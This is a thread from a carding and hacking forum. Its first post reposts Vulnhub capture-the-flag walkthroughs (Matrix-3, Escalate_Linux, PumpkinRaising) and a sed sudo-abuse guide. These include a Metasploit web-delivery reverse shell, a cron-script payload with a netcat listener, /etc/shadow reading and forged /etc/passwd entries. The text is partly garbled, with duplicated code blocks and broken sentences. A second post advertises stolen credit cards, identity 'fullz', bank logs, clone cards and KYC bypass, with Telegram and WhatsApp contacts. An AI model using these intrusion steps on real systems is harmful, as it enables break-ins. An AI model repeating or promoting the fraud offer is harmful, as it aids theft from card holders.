What's new

Welcome to crdworld.biz : Carding Forum - Carders Forum - Hacking forum

Join us now to get access to all our features. Once registered and logged in, you will be able to create topics, post replies to existing threads, give reputation to your fellow members, get your own private messenger, and so, so much more. It's also quick and totally free, so what are you waiting for?

[Guide] How to Matrix-3: Vulnhub Walkthrough


NINZA

Member
Messages
186
Reaction score
307
Points
16

You can download this VM here.
Security Level: Intermediate
Penetrating Methodology:
  1. Scanning
  • Netdiscover
  • NMAP
  1. Enumeration
  • Web Directory Search
  1. Exploitation
  • Ghidra
  • SSH
  1. Privilege Escalation
  • Exploiting Sudo rights
Walkthrough:
Scanning:

1.png

Then we used Nmap for port enumeration. We found that port 80 is open, SSH is running on port 6464 and port 7331 is open on the target machine.[img=771x541]https://i2.wp.com/1.bp.blogspot.com...jBiasGiQCLcBGAs/s1600/2.png?w=687&ssl=1[/img]
Enumeration:

3.png

So we used dirb for directory enumeration.
[size=small]dirb http://192.168.1.104
1
dirb http://192.168.1.104[/size]
After brute-forcing with dirb, we found a directory named /assets
4.1.png

We opened the assets directory in the browser and found an image file named Matrix_can-show-you-the-door.png under /assets/img/ URL.
4.2.png


So we used Matrix in the URL as shown in the image below and it worked for us.
From the contents of the directory Matrix, we understood that we have to make a right combination of the alphanumeric to go ahead.
4.3.png

So after trying multiple combinations we used our little brain more aggressively and made a combination of is the name of the actor in the Matrix movie and 64 number is I guess favourite number of the creator of this VM because he is using it everywhere.
4.png

We downloaded the file secret.gz txt file and is containing the username and password.
[size=small]file secret.gz
cat secret.gz

1
2

file secret.gz
cat secret.gz
[/size]
5.png

Upon cracking the hashed password using online tool hashkiller, we found the password as passwd.
6.png

If you remember from the nmap scan we have a port 7331 open and it was protected with Basic Authentication.
So we tried to open the URL http://192.168.1.104:7331admin:passwd as username and password and were able to login successfully.
8.png

dirb with an already obtained username and password for directory bruteforcing.
After bruteforcing, we found a directory named data.
[size=small]dirb http://192.168.1.104:7331 / -u admin:passwd
1
dirb http://192.168.1.104:7331 / -u admin:passwd[/size]
9.png

In the data directory, we found a file name data which came out to be a DOS file.
10.png

Exploitation:
We took the help of our best friend in need Google to know how to open a DOS file. And after some research, we found a tool named Ghidra for opening a DOS file.
After opening the data file with Ghidra tool we found a username and password guest:7R1n17yN30
11.png

As we already know from our nmap scan that there is SSH running on port 6464 on the target machine, so we tried to ssh the target machine with the above-found username and password and were successfully able to login.But we were provided with the restricted bash (rbash) shell, so we used option to run ssh with noprofile extension and we got a complete shell of the guest user.
Checking the sudo permissions for the guest user we came to know that this user can run /bin/cp with permissions of another user trinity.
12.png

Privilege Escalation
id_rsa.pub file so that we would be able to copy it to our target location.
[size=small]ssh-keygen
cd .ssh
chmod 777 id_rsa.pub

1
2
3

ssh-keygen
cd .ssh
chmod 777 id_rsa.pub
[/size]
13.png

And then we took the advantage of sudo permission to copy the id_rsa.pub file in the /home/trinity/.ssh/authorized_keys folder. Now we can access ssh of the target machine with trinity user using the id_rsa key.
Checking the sudo permission for trinity it can execute oracle file with root permissions.
[size=small]cp id_rsa.pub /home/guest
cd ..
sudo -u trinity /bin/cp ./id_rsa.pub /home/trinity/.ssh/authorized_keys
ssh [email protected] -i /.ssh/id_rsa -p 6464
sudo -l

1
2
3
4
5

cp id_rsa.pub /home/guest
cd ..
sudo -u trinity /bin/cp ./id_rsa.pub /home/trinity/.ssh/authorized_keys
ssh [email protected] -i /.ssh/id_rsa -p 6464
sudo -l
[/size]
14.png

But there was no file with the name oracle in the /home/trinity directory, so we created an oracle file with /bin/sh in it using the echo command. In the end, we executed the oracle file with sudo command, we got the root shell.
And once you have the root shell you can easily get the flag.
[size=small]echo "/bin/sh" > oracle
chmod 777 oracle
sudo ./oracle
id
ls
cat flag.txt

1
2
3
4
5
6

echo "/bin/sh" > oracle
chmod 777 oracle
sudo ./oracle
id
ls
cat flag.txt
[/size]
15.png


This article will take our readers through all about Stream Editor (Sed), which is one of the most prominent text-processing services on GNU/Linux. In this article, we came with the brief introductory guide to sed which supports the main concern that how sed works and how we can accomplish its supplementary practice in the operation of Privilege Escalation.

Table of Content

  • Summary to sed
  • Chief Action achieved using sed

    • Replacement with the sed command
    • Printing and viewing from sed command
    • Deleting lines with sed
Abusing sed
  • SUDO Lab setups for privilege Escalation
  • Exploiting SUDO
Summary to sed
SED commandinsertion, deletion, search
Note:.
[size=small]sed --help
1
sed --help[/size]
1.png


  • Replacement with the sed command
1.1 Substituting or switching string
[size=small]nano Ignite.txt
cat Ignite.txt
sed 's/Ignite/Egnyte/' Ignite.txt

1
2
3

nano Ignite.txt
cat Ignite.txt
sed 's/Ignite/Egnyte/' Ignite.txt
[/size]
IgniteEgnyte
2.png

1.2 Substituting the nth existence in a line: When we want to replace nth occurrence i.e. first, second and so on the existence of a pattern in a line then we will use the /1, /2 etc flags to mention the nth term.
[size=small]sed 's/Ignite/Egnyte/2' Ignite.txt
1
sed 's/Ignite/Egnyte/2' Ignite.txt[/size]

3.png

1.3 Substituting all the existence at a time:
[size=small]sed 's/Ignite/Egnyte/g' Ignite.txt
1
sed 's/Ignite/Egnyte/g' Ignite.txt[/size]
1.4 Substituting from nth occurrence to all existences:
[size=small]sed 's/Ignite/Egnyte/3g' Ignite.txt
1
sed 's/Ignite/Egnyte/3g' Ignite.txt[/size]
On framing the above command it will replace all the patterns from the nth occurrence globally.
Note:
4.png

1.5 Substituting the existence for a particular range: We can limit the sed command to replace the string for a particular range. This can be achieved by framing command as shown below.
Note:
5.png

  • Printing and viewing from sed command:
2.1 Replicating the replaced line with /p flag2.2 Printing only the replaced lines:
6.png

2.3 Printing lines by numbering it:On drawing the above command sed will print the output by numbering each line as per user request.
7.png

2.4 Display a file from x to y range: If we want to view a file from an instance i.e. for a range of starting index to end index then we write command as:
[size=small]sed -n '2,4p' Ignite.txt
1
sed -n '2,4p' Ignite.txt[/size]

2.5 Print nth line of the file: Inplace of fixing end index you can also leave it blank if you wish to print only a specific line.
[size=small]sed -n '4'p Ignite.txt
1
sed -n '4'p Ignite.txt[/size]
As in below screenshot, you can see when I have used above-mentioned command then sed has reflected the output only to print for the 4th line.
8.png

2.6 Print from nth line to end of file: To print any file from its nth line to the last (end of file) line then frame command as below:
[size=small]sed -n '4,$'p Ignite.txt
1
sed -n '4,$'p Ignite.txt[/size]

9.png

2.7 Print the line only for pattern matching: If we want to print only those lines which match the given pattern then, in this case, we will draw command as:
[size=small]sed -n /training/p Ignite.txt
1
sed -n /training/p Ignite.txt[/size]

2.8 Print lines which matches the pattern nth line
[size=small]sed -n '/cyber/,3p' Ignite.txt
1
sed -n '/cyber/,3p' Ignite.txt[/size]
10.png

3 Deleting lines with sed: Now we check how we can delete the lines from a file by the help of sed.
3.1 Remove a specific line
[size=small]sed '3d' Ignite.txt
1
sed '3d' Ignite.txt[/size]
3.2 Remove line for a range
[size=small]sed '3,5d' Ignite.txt
1
sed '3,5d' Ignite.txt[/size]
11.png

3.3 Remove from nth to last line
[size=small]sed '2,$d' Ignite.txt
1
sed '2,$d' Ignite.txt[/size]

3.4 Remove the last line
[size=small]sed '2d' Ignite.txt
1
sed '2d' Ignite.txt[/size]
12.png

3.5 Remove the pattern matching line: Sometimes we not only want to print or view those lines that match the particular pattern but also desire to delete them so in such case we will frame below command to attain output as per user request.
[size=small]sed '/training/d' Ignite.txt
1
sed '/training/d' Ignite.txt[/size]

13.png

Abusing sed
Sudo Rights Lab setups for Privilege Escalation
Now we will start our mission of privilege escalation. To grab this first, we have to set up our lab of sed command with administrative rights. After that, we will check for the sed command that what impact it has after getting sudo rights and how we can use it more for privilege escalation.
It can be clearly understood by the below image in which I have created a local user (test) who own all sudo rights as root and can achieve all task as admin.
To add sudo right open etc/sudoers file and type following as user Privilege specification.
[size=small]test All=(root) NOPASSWD: /usr/bin/sed
1
test All=(root) NOPASSWD: /usr/bin/sed[/size]
14.png

Exploiting Sudo rights

So now we will connect to the target machine with ssh, therefore, type following command to get access through local user login.
[size=small]ssh [email protected]
1
ssh [email protected][/size]

[size=small]sudo -l
1
sudo -l[/size]
Now we will access our /etc/passwd file by the help sed command to escalate or maintain access with elevated privileges.
Conclusion:
15.png

Reference link: https://gtfobins.github.io

https://www.vulnhub.com/entry/escalate_linux-1,323/
NOTE: In this article, we have exploited the machine with six different methods.
Security Level: Beginner-Intermediate
Penetrating Methodology:
Scanning
  • Netdiscover
  • Nmap
Enumeration
  • Web Directory Search
Exploiting
  • Metasploit shell upload
  • LinEnum.sh
Privilege Escalation
  • Method 1: Get root shell by exploiting suid rights of the shell file
  • Method 2: Get a root shell by cracking the root password
  • Method 3: Get root shell by exploiting sudo rights of user1
  • Method 4: Get root shell by exploiting crontab
  • Method 5: Exploiting Sudo rights of vi editor
  • Method 6: Exploiting writable permission of /etc/passwd file
Walkthrough:
Scanning:

1.png


[size=small]nmap -A 192.168.0.17
1
nmap -A 192.168.0.17[/size]
2.png

Enumeration:
As we can see port 80 is open, so we tried to open the IP address in our browser and got nothing but the default Apache webpage.
3.png

So we used dirb with .php filter for directory enumeration.After brute-forcing with dirb, we found a URL named http://192.168.0.17/shell.php
4.png

Now we opened the URL in our browser and found that it accepts cmd as get parameter.
5.png

So, we passed the id command in the URL and found the results are reflected in the response.
6.png

Exploiting
Since the target machine is vulnerable to command injection, we created a web delivery shell using Metasploit.
[size=small]use exploit/multi/script/web_delivery
set srvhost 192.168.0.12
set lhost 192.168.0.12
exploit

1
2
3
4

use exploit/multi/script/web_delivery
set srvhost 192.168.0.12
set lhost 192.168.0.12
exploit
[/size]
7.png

The target host was not able to run the script directly, so we used URL encoding.
8.png

After encoding the script, we were successfully able to run it on the target machine and get the meterpreter session.
9.png

We got the bash shell of User6 after using python one-liner shell command.
To further enumerate the target host, we uploaded LinEnum tool on the target host.
[size=small]upload /root/LinEnum.sh .
shell
python -c 'import pty;pty.spawn("/bin/bash")'
chmod 777 LinEnum.sh
./LinEnum.sh

1
2
3
4
5

upload /root/LinEnum.sh .
shell
python -c 'import pty;pty.spawn("/bin/bash")'
chmod 777 LinEnum.sh
./LinEnum.sh
[/size]
10.png

From the results of LinEnum scan, we found that the target host has eight users namely user1, user2 up to user8.
11.png

We also found that in crontab, a file named autoscript.sh is being run every 5 minutes with root privileges.
12.png

From the same LinEnum scan, we came to know that /etc/passwd is writable for users also. Also, we found that we can run shell and script files with root privileges because SUID bit is enabled on it.
14.png

Privilege Escalation:
As mentioned above there are multiple ways to do the privilege escalation of this machine.
We will try to do as many methods as possible.
Method 1: Get root shell by exploiting SUID rights of the shell file
Using the find command we can confirm that the shell file located in the home directory of user3 can be executed with root privileges.
We tried to execute the same file and got the root shell.
[size=small]find / -perm -u=s -type f 2>/dev/null
cd /home/user3
./shell

1
2
3

find / -perm -u=s -type f 2>/dev/null
cd /home/user3
./shell
[/size]
15.png

Method 2: Get a root shell by cracking the root password
From the above screenshot, we know that the script file located in the user5 home directory can be executed with root privileges. Using the Path variable exploitation methodology we can access the /etc/shadow file.
To know more about path variable privilege escalation use this link: https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
[size=small]cd /tmp
echo "cat /etc/shadow" > ps
chmod 777 ps
export PATH=/tmp:$PATH
cd /home/user5
./script

1
2
3
4
5
6

cd /tmp
echo "cat /etc/shadow" > ps
chmod 777 ps
export PATH=/tmp:$PATH
cd /home/user5
./script
[/size]
16.png
17.png

We copied the hashed password of root user in the hash file and used John The Ripper tool to crack the password. We got the password of the root as 12345 and then using the su command we were able to access as root.
[size=small]john hash
su root

1
2

john hash
su root
[/size]
18.png

Method 3: Get root shell by exploiting SUDO rights of user1
We already know by now that script file can be executed with root privileges.
Using the same script file we can change the password of all the users with the help of Path variable methodology.
Here we used echo and chpasswd command to replace the existing password with our new password 12345. And then switched to the user1 account using su
So we ran the command sudo su and got the root access.
19.png

Method 4: Get root shell by exploiting crontab
In the previous screenshot, we saw there is a task scheduled after every 5 minutes for user4 in the crontab by the name autoscript.sh. We changed the password of user4 the same way as we did for user1 and then switched to user4 with the new password 12345. There we can see a file autoscript.sh in the Desktop folder.
[size=small]su user4
ls -la

1
2

su user4
ls -la
[/size]
20.png

So what we did is we created a payload using msfvenom and then copied the code into autoscript.sh file using echo.
21.png

[size=small]echo "code" > autoscript.sh
1
echo "code" > autoscript.sh[/size]
22.png

After copying the code into autoscript.sh file we executed the file and started the netcat listener on our kali machine and waited for the shell.
Yes we got the root shell as the autoscript.sh is executing as root in the crontab.
23.png

Method 5: Exploiting SUDO rights of vi editor
We changed the password of all the users to 12345 using the same methodology as above and switched between users to check for more exploits. We found that user8 has a sudo permission for vi editors.
[size=small]su user8
sudo -l

1
2

su user8
sudo -l
[/size]
24.png

Open the vi editor with sudo and insert sh command as shown in the screenshot below, exit the editor and hurray we got the root shell.
[size=small]:!sh
ids

1
2

:!sh
ids
[/size]
25.png

And again we will obtain the root shell as shown below in the image.
26.png

Method 6: Exploiting writable permission of /etc/passwd file
Continuing with the enumeration of users, we found that user7 is a member of the root group with gid 0.
And we already know from the LinEnum scan that /etc/passwd file is writable for the user. So from this observation, we concluded that user7 can edit the /etc/passwd file.
[size=small]tail /etc/passwd
su user7
id

1
2
3

tail /etc/passwd
su user7
id
[/size]
27.png

So we copied the contents of /etc/passwd file in our kali machine and created a new user named raj with root privileges for which we generated a password pass123 using openssl.
[size=small]openssl passwd -1 -salt ignite pass123
1
openssl passwd -1 -salt ignite pass123[/size]
29.png

As you can observe we have created a new entry inside /etc/passwd for user raj with root privilege.
30.png

On the target machine, we downloaded the edited passwd file in the /etc folder using wget command.
Then we tried to switch to our newly created user raj and YES yet again we proudly got the root shell of the machine.
31.png

Conclusion: So in this part-1 of Escalate_Linux we did the privilege escalation by six different methodologies. In the part-2 we will try to exploit the machine by some different methods. So keep visiting Hacking Articles for next part.

PumpkinRaising is another CTF challenge from the series of Mission-Pumpkin v1.0 created by keeping beginners in mind and all credit for this VM goes to Jayanth. This level is all about identifying and gain access to root and capture the final Flag.txt file.
You can download it from here: https://www.vulnhub.com/entry/mission-pumpkin-v10-pumpkinraising,324/
Level: Beginner to Intermediate
Penetrating Methodologies
Scanning
  • Nmap
Enumeration
  • txt
  • Abusing HTTP services
Exploiting
  • Ssh Login
Privilege Escalation
  • Abusing Sudo right
Walkthrough
Scanning

[size=small]nmap -A 192.168.0.11
1
nmap -A 192.168.0.11[/size]
From its scan result, I found port 22 for ssh and 80 for http are available, moreover it gave some hint for /robot.txt file that disallows 23 entities.
1.png

Enumeration
So first we navigate to a web browser and explore the VM IP and welcome by following web page. Read the following message:

Jack
2.png

Further, I explored /robot.txt file suggested in nmap scan and found some list of interesting directories, files and paths. Apart from all entries, I found a few interesting entries such as: /hidden/notes.txt, /underconstruction.html and /seeds/seed.txt.gpg
3.png

The hidden note.txt showed certain data which may be needed to login credentials subsequently.
[size=small]http://192.168.0.11/hidden/notes.txt
Robert: C@43r0VqG2=
Mark: Qn@F5zMg4T
goblin: 79675-06172-65206-17765

1
2
3
4

http://192.168.0.11/hidden/notes.txt
Robert: C@43r0VqG2=
Mark: Qn@F5zMg4T
goblin: 79675-06172-65206-17765
[/size]
4.png

when I checked the source code of the homepage and here, I found a link for pumpkin.html
5.png

On exploring source code of http://192.168.0.11/pumpkin.html, I found a base32 encoded string.
6.png


7.png

To identify what is inside the spy.pcap file, I simply downloaded the file in our local machine and used Wireshark to read the network packet.
8.png

Here I found the first seed: 50609 from inside the tcp steam as shown in the below image.
9.png

Again, we come back to pumkin.html page and I found the decimal string on scrolling same file.
10.png

On decoding decimal string, we found one more seed:96454
11.png

As you know we have enumerated /robots.txt and from inside that, we found another important file /underconstrution.html as shown below. So, we have explored the source code of the web page and noted hint for an image.
12.png

Now, we have explored the below URL and found a picture for pumpkin which I have downloaded in my local machine.
[size=small]http://192.168.0.11/images/jackolantern.gif[/SIZE]
1
http://192.168.0.11/images/jackolantern.gif[/SIZE][/size]
13.png



14.png

So, when I opened this file, it gave me another PUMP-Ke-Mon Pumpkin seed: 86568
15.png

Further, I downloaded the .gpg file as the link /seeds/seed.txt.gpg which was mention in the robot.txt file.
[size=small]wget http://192.168.0.11/seeds.txt.gpg
gpg -d seeds.txt.gpg

1
2

wget http://192.168.0.11/seeds.txt.gpg
gpg -d seeds.txt.gpg

16.png

SEEDWATERSUNLIGH which was mentioned in the home page of website in the 2nd image.
On decrypting I obtained following text file as shown below and it was a Morse encoded text which used in telecommunication that encodes text characters as standardized sequences of two different signal durations called dots and dashes.
17.png

To decrypt the Morse text I have used cyberchef which is an online decrypting tool. On decrypting the text, I found another BIGMAXPUMPKIN seed 69507
18.png



  1. SEED ID: 50609
  2. SEED ID: 96454
  3. SEED ID: 86568
[size=small]ssh [email protected]
SSH login Password: 69507506099645486568

1
2

ssh [email protected]
SSH login Password: 69507506099645486568

Yuppie!! We got the shell access but for obtaining root flag we need to escalate the privilege from low privilege shell to high. Therefore, I check for sudo rights for user jack and found jack can run strace with sudo rights.
Hmmm! We can abuse the sudo permission set for strace program. Hence type following and obtain the root flag.





[size=small]sudo strace -o/dev/null /bin/bash
cd /root
ls
cat flag.txt

1
2
3
4

sudo strace -o/dev/null /bin/bash
cd /root
ls
cat flag.txt
[/size]
19.png
 

Topg

New member
Messages
20
Reaction score
0
Points
1
ALL COUNTRIES LIVE FULLZ & CC AVAILABLE IN BULK FRESHLY OUT:CONTACT TELEGRAM :- @mr_atm990





I Can Do KYC and Create Any Casino Exchange bypass,verification or Any Sites With Romanian ID 🪪 👈👈👈👈👈





Support Telegram : - @mr_atm990





☝️☝️☝️


CLICK HERE TOO OPEN LIST


1. Fresh Fullz available (includes clicking & loading methods)


2. All Fullz/CCs are fresh, and methods are up-to-date


3. For quicker responses, come with your BINs and payment method ready


4. Or you ask for bin list


5. COUNTRIES | •GB•AU•US•IT•CA•FR•EA•DE• NZ


6. ALL COMES WITH COMPLETE DETAILS/INFOS


7. Replacement or refund if Fullz or CC is Invalid





Support Telegram : - @mr_atm990





•••••••••••••••••••••••••••••••••••••••


• Linkable CC to Apple Pay


• Linkable CC to PayPal


• Linkable CC to CashApp


• Linkable CC to Gpay


• Non-VBV Debit/Credit Cards


• CVV Fullz available


• METHODS+Skippers Bins


• Bank logs available GB,AU & US bank


• Dumps with pin


• RDP also available


• Got EE & o2 Fullz with active logins


•••••••••••••••••••••••••••••••••••••••


• ASK FOR UPDATED METHODS LIST


• CC TO BTC METHOD


• CLONE CARDS


• BANK OPENUPS AVAILABLE


• EMAIL AND PASSWORD LOGINS


ALL (Domains)


•••••••••••••••••••••••••••••••••••••••


Non vbv debit & credit card available in stock now ( GB US CA AU) and some other more…


Apple Pay auto add bins


Linkables available


•••••••••••••••••••••••••••••••••••••••


• SMS SPAMMING & SPAMMING LESSONS


• SPAMMING TOOLS


• All countrie sms leads AVAILABLE


• crypto leads AVAILABLE


•••••••••••••••••••••••••••••••••••••••


DEADS FULLZ WITH NI & DL EMAIL AND PASS UTR NUMBER & PASSPORT


COUNTRIES UK/AUS/USA ( Uncalled )


• DVLA DEAD AVAILABLE


• EE DEAD AVAILABLE


• 02 DEAD AVAILABLE


•••••••••••••••••••••••••••••••••••••••


5minute check time


Come with your specific bin


Replacement or refund if Fullz or CC is Invalid


Payment methods


Bitcoin


Usdt


Accepted


Support Telegram : - @mr_atm990


COME PAYMENT READY


•••••••••••••••••••••••••••••••••••••••





You can also text me on whatsapp :





whatsapp +1 (705) 483‑4953





Support Telegram : - @mr_atm990


 
Top Bottom